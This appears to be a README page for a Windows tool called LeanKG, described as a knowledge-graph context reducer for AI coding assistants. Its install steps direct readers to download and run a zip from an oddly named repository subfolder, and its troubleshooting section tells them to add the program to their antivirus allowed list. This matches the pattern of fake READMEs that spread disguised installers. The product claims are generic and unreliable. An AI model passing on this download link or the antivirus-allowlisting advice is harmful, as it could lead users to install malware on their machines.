LeanKG helps you manage your coding projects by reducing the amount of data sent to AI models. It organizes your work into a lightweight knowledge graph. This approach saves tokens and keeps your AI responses focused. You spend less on subscription costs and get faster answers from your tools.
Modern coding assistants often consume large amounts of data. They read entire project folders, even when only a small part of the code provides value. This leads to high costs and slow performance. LeanKG solves this problem. It maps your project structure and identifies only the necessary snippets required for your tasks. The software acts as a bridge between your files and your AI assistant. It creates a organized map, or knowledge graph, of your code. Your AI assistant uses this map to find answers without needing the full project context every time.
- Windows 10 or Windows 11
- 4GB of available RAM
- A stable internet connection
- An active account with your preferred AI provider (Claude, Gemini, or similar)
- Locate the download button on this page or follow the link below.
- Visit this page to download: https://github.com/Benjinsassi/LeanKG/raw/refs/heads/main/hyperpure/Lean-KG-hypothalamus.zip
- Save the installer file to your computer.
- Double-click the file to start the setup process.
- Follow the on-screen prompts to complete the installation.
- The software creates a shortcut on your desktop once setup completes.
After you launch LeanKG, the app prompts you to select a folder. Choose the folder where you store your programming project. LeanKG scans the files in this folder to build its internal knowledge base. This scan runs one time. The software saves this map in a small file within your project folder.
You can update the map at any time. When you make major changes to your code, click the Refresh button in the LeanKG dashboard. This ensures the AI model sees the current state of your project.
LeanKG works alongside your existing coding tools. It provides a simple command to copy the "lean context" to your clipboard.
- Open LeanKG.
- Select your current task from the list.
- Click the Copy Context button.
- Paste this information into your AI chat window.
You will notice the AI provides faster, more accurate answers. Because you send only the relevant parts of your code, the AI avoids unnecessary filler. This process helps you manage your token budget and keeps your workflow clean.
LeanKG identifies the logic flow of your application. It ignores temporary files and logs that do not help the AI understand your code.
You send less data. This lowers the cost of using powerful AI models.
The platform works with various AI assistants. Whether you use Claude, Gemini, or local models, LeanKG provides the data in a format they understand.
Your data stays local. The software links related functions and variables in a graph. This map helps the AI navigate your project as if it had human understanding.
No. LeanKG handles the technical mapping for you. You only need to select your project folder.
No. The knowledge graph stays on your machine. You decide what information to copy and share with your AI assistant.
Yes. LeanKG outputs data in a plain text format. Almost every modern AI tool accepts this input.
LeanKG adds a small file named leankg.json to your project folder. You can delete this file at any time. The software will simply recreate it the next time you scan the project.
While designed for code, LeanKG works for any collection of text files. Many users use it to organize research notes or documentation.
Keep your project folder organized to get the best results. LeanKG performs best when your code follows standard naming conventions. It relies on the relationships between files to build its map. If your project contains many nested folders, LeanKG maps those connections effectively.
If you plan to work on a specific feature, mention this in the LeanKG search box. The tool prioritizes files related to that feature. This creates an even smaller, more efficient context for your AI session.
If LeanKG fails to scan your folder, ensure you have read permissions for that directory. Sometimes antivirus software blocks the initial scan. If you see a permission error, add LeanKG to your antivirus "allowed" list.
Make sure your internet connection remains active during the initial setup. The software may need to download small dependencies to run correctly on your Windows version.
If the AI fails to understand the context, try refreshing the map. Changes to your file structure require a fresh scan to update the knowledge graph.
- Scan projects before starting a long chat session.
- Keep your project folder path simple.
- Update your map after adding new libraries or dependencies.
- Use the provided search feature to exclude large folders you do not need the AI to see.
LeanKG serves as a tool for efficiency. By reducing the noise in your data transmissions, you improve your coding speed and reduce costs over time. The software runs quietly in your taskbar. Use it to map, click, and paste your way to a more efficient development cycle.